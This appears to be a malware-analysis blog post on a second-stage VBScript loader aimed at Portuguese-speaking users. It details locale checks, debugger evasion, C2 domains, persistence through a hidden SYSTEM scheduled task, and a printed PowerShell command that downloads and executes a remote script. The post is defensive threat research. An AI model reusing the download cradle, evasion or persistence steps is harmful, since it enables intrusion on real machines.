Loading...
You are here:  Home  >  Malware and Behavior Analysis  >  Current Article

WhatApp_PowerShell_VBS-S2

By   /  October 13, 2025  /  Comments Off on WhatApp_PowerShell_VBS-S2

    Print       Email

Overview
– Second-stage VBScript is executed in-memory via ExecuteGlobal by a Stage‑0 loader.
– Primary goals: Portuguese locale gating, anti-analysis checks, configuration bootstrap (IMAP → multi-domain /data.php → Pastebin), PowerShell stage launch, optional self-delete.

Locale Targeting (PT-BR/PT-PT)
—————————————————————-
Function CheckSystemLanguage()
‘ OSLanguage 1046 = pt-BR, 2070 = pt-PT
‘ Registry fallback: HKCU\Control Panel\International\sLanguage starts with “PT”
End Function

Anti‑Analysis (Debugger Process Checks)
—————————————————————-
debuggerList = Array(“ollydbg.exe”,”idaq.exe”,”x32dbg.exe”,”x64dbg.exe”,”windbg.exe”,”processhacker.exe”,”procmon.exe”)
For Each p In Win32_Process
If LCase(p.Name) In debuggerList Then Exit (altered flow/exit)
Next

Config Retrieval Order
—————————————————————-
1) IMAP (Terra mailbox)
– Host: imap.terra.com.br:993 (TLS)
– Flow: LOGIN → SELECT INBOX → SEARCH SUBJECT “data” → FETCH BODY[TEXT] → parse server/C2 URLs
2) Fallback domains (HTTP[S]) — all queried with /data.php
– lefthandsuperstructures[.]com
– clhttradinglimited[.]com
– mazdafinancialsevrices[.]com
– ricardasphotography[.]com
– jornalistaaurelianoborgesmidia[.]com
– cursosgratiss[.]com[.]br
– intelligentopennetworkingawards[.]com
– vinhomeshungyentheempires[.]com
– wbdiamonds[.]com
– pastebin[.]com/raw/SmCz4cp8 (secondary config source)
3) If a valid SERVER_URL / POWERSHELL_URL discovered → proceed to PS stage

Public IP Probe
—————————————————————-
– HTTP GET to api.ipify[.]org to record external IP

PowerShell Stage Construction (Excerpt)
—————————————————————-
‘ Build command with TLS12 + DownloadString + IEX to PS endpoint
powershell.exe -ep bypass “[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString(‘https://miportuarios[.]com/sisti/api.ps1’))”

Persistence & Cleanup (Excerpt)
—————————————————————-
– Hide directory: attrib.exe +h +s “C:\ProgramData\WindowsManager\”
– Scheduled Task (OnStart, SYSTEM): “Windows Manager Services” → wscript.exe “C:\ProgramData\WindowsManager\WinManagers.vbs”
– Self‑delete via temp BAT after execution

Stage‑0 → Stage‑2 Decode Pattern (Representative)
—————————————————————-
‘ Stage‑0 emits pipe‑delimited numeric tokens and decodes with XOR‑derived subtractions, then Chr(…):
varX = CInt(token)
varX = (varX – (202 Xor 10)) Mod 256
varX = (varX – (178 Xor 159)) Mod 256
varX = (varX – (38 Xor 250)) Mod 256
varX = (varX – (234 Xor 37 )) Mod 256
decoded_char = Chr(varX)
‘ Decoded buffer ExecuteGlobal → Stage‑2 controller

    Print       Email
  • RSS feed: The Hacker News The Hacker News

    • ⚡ Weekly Recap: Helpdesk 0-Days, Rogue Certs, ShinyHunters Arrest, AI-Fooling Malware and More October 12, 2026
      Some meetings last longer than it took attackers to jump on a newly disclosed security flaw this week. Within hours, they were already testing it. That's not much time to read the warning, let alone do something about it. But speed is only part of the problem. A secure connection didn't always mean a safe […]
    • Bring Your Own Agent: Your Employees' Assistants Are Already Logged In October 12, 2026
      The personal AI agents rollout is going about as smoothly as expected: Amazon now blocks Meta's Muse because it doesn't identify itself as a bot while browsing; Instinct keeps raising privacy concerns; and the horror stories from pretty much every personal AI agent keep piling up. Regardless, the tech world is mesmerized by the capabilities […]
    • Ledger Finds Unauthorized Hardware Implant in CryptoBilis-Sold Wallet Amid Fund Theft Reports October 12, 2026
      Cryptocurrency hardware maker Ledger has temporarily paused sales of its products via CryptoBilis following reports of stolen funds linked to devices sold by the reseller. On Friday, the company said it was investigating reports of loss of funds from users in Southeast Asia who had purchased products from CryptoBilis. The incident is said to have […]
    • Critical SonicWall SMA 1000 Flaw Targeted in 135 Exploitation Attempts After Patch October 12, 2026
      Threat actors have been observed exploiting a recently disclosed critical security flaw in SonicWall Secure Mobile Access (SMA) 1000 appliances within days of public disclosure. The vulnerability, tracked as CVE-2026-102255 (CVSS score: 10.0), is a case of pre-authenticated server-side request forgery (SSRF) that could allow a remote attacker "to direct the appliance to issue requests […]
    • Attackers Exploit CVSS 10.0 Bricksforge WordPress Flaw Enabling Unauthenticated RCE October 12, 2026
      A maximum-severity security flaw impacting the Bricksforge plugin for WordPress has come under active exploitation in the wild, according to Patchstack. The critical vulnerability in question is CVE-2026-85097 (CVSS score: 10.0), which allows unauthenticated attackers to upload and execute arbitrary PHP code on vulnerable WordPress websites, resulting in remote code execution (RCE). The

You might also like...

phishing-kit

Read More →